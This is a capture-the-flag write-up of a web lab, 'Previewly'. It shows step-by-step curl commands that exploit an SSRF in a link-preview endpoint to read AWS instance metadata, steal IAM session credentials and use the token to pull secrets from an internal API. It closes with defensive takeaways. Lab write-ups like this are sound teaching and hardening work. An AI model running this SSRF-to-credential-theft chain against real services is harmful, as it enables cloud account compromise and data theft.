SSRF Attack: Steal Cloud Metadata Credentials - CTF Writeup
| Category: WEB | Flags: 2 (User / Root) |
Challenge: https://hackerdna.com/labs/ssrf-attack-cloud-metadata-credentials
Contents
- Reconnaissance
- The SSRF: /api/unfurl
- Reading Cloud Metadata
- The Control Plane
- Retrieving the Root Flag
Reconnaissance
The target hosts Previewly, a “link previews as a service” web app. A
standard landing page with a URL preview form, plus a /health endpoint:
GET /health → 200 OK
A closer look at the client-side JS reveals the core functionality:
const res = await fetch('/api/unfurl', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({url})
});
The server fetches the user-supplied URL server-side and returns a metadata preview. Classic SSRF.
The SSRF: /api/unfurl
Calling the endpoint directly with an arbitrary URL:
curl -s "http://TARGET/api/unfurl" -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}'
Returns:
{"body_preview":"ami-id\nhostname\niam/\ninstance-id\n...","status":200,...}
The body_preview field contains the response body from the target URL,
confirming full SSRF against an AWS instance metadata endpoint.
Reading Cloud Metadata
The AWS metadata at 169.254.169.254 exposes the IAM role and its temporary
credentials:
# IAM role name
curl -s ... -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
→ "previewly-fetcher-role"
# Full credentials
curl -s ... -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/previewly-fetcher-role"}'
The response includes the AWS session token:
AccessKeyId: ASIACGWGAJY8A9FU8SVO
SecretAccessKey: PUqz6KgpUDeXok5t4Hmb0bbqShMwJockHWhpJP37
Token: IQoJb3JpZ2luX2VjEu...
A second metadata path reveals the user flag directly in user-data:
curl -s ... -d '{"url":"http://169.254.169.254/latest/user-data"}'
USER_FLAG=f5f39ad2-873e-486c-a6cf-08a73e80ca3b
The user-data also hints at an internal service:
Internal control-plane API at /control-plane/ on this host
(authenticate with the role session token).
The Control Plane
Hitting the internal control-plane with the stolen Bearer token:
curl -s "http://TARGET/control-plane/whoami" \
-H "Authorization: Bearer <session-token>"
{"role":"previewly-fetcher-role",
"account":"481516234200",
"arn":"arn:aws:sts::481516234200:assumed-role/previewly-fetcher-role/i-...",
"authorized":true}
Querying the secrets endpoint:
curl -s "http://TARGET/control-plane/v1/secrets" -H "Authorization: Bearer <session-token>"
→ {"secrets":["previewly/og-cache-config","previewly/root-flag"]}
Retrieving the Root Flag
Reading the actual secret value:
curl -s "http://TARGET/control-plane/v1/secrets/previewly/root-flag" \
-H "Authorization: Bearer <session-token>"
{"name":"previewly/root-flag",
"value":"946e5f60-2592-4292-8082-d1ed425429a1",
"note":"Root Flag - submit this value as your Root Flag."}
Root Flag: 946e5f60-2592-4292-8082-d1ed425429a1
How the Attack Works
- Unrestricted SSRF — the preview service fetches any URL without validation, giving access to the link-local metadata endpoint.
- IMDSv1 enabled — the instance uses Instance Metadata Service v1 (no token hop required), making metadata instantly readable.
- Leaked credentials — IAM role
previewly-fetcher-rolewith its session token are accessible through the SSRF. - Internal control-plane — the Bearer token authenticates against a Secrets Manager-style API that holds the root flag.
Key Takeaways
- Disable IMDSv1. Use IMDSv2 (requires a PUT token before GET) to block basic SSRF-to-metadata exploits.
- Firewall link-local. Block
169.254.169.254and169.254.170.2at the network boundary or in the application layer. - Restrict SSRF targets. Allowlist permitted domains for URL previews; never trust user-supplied URLs as-is.
- Least-privilege IAM. The fetcher role had Secrets Manager read access over sensitive flags — scope roles tightly.
- Use Secrets Manager with resource policies and conditions, not just IAM roles, to restrict which callers can read secret values.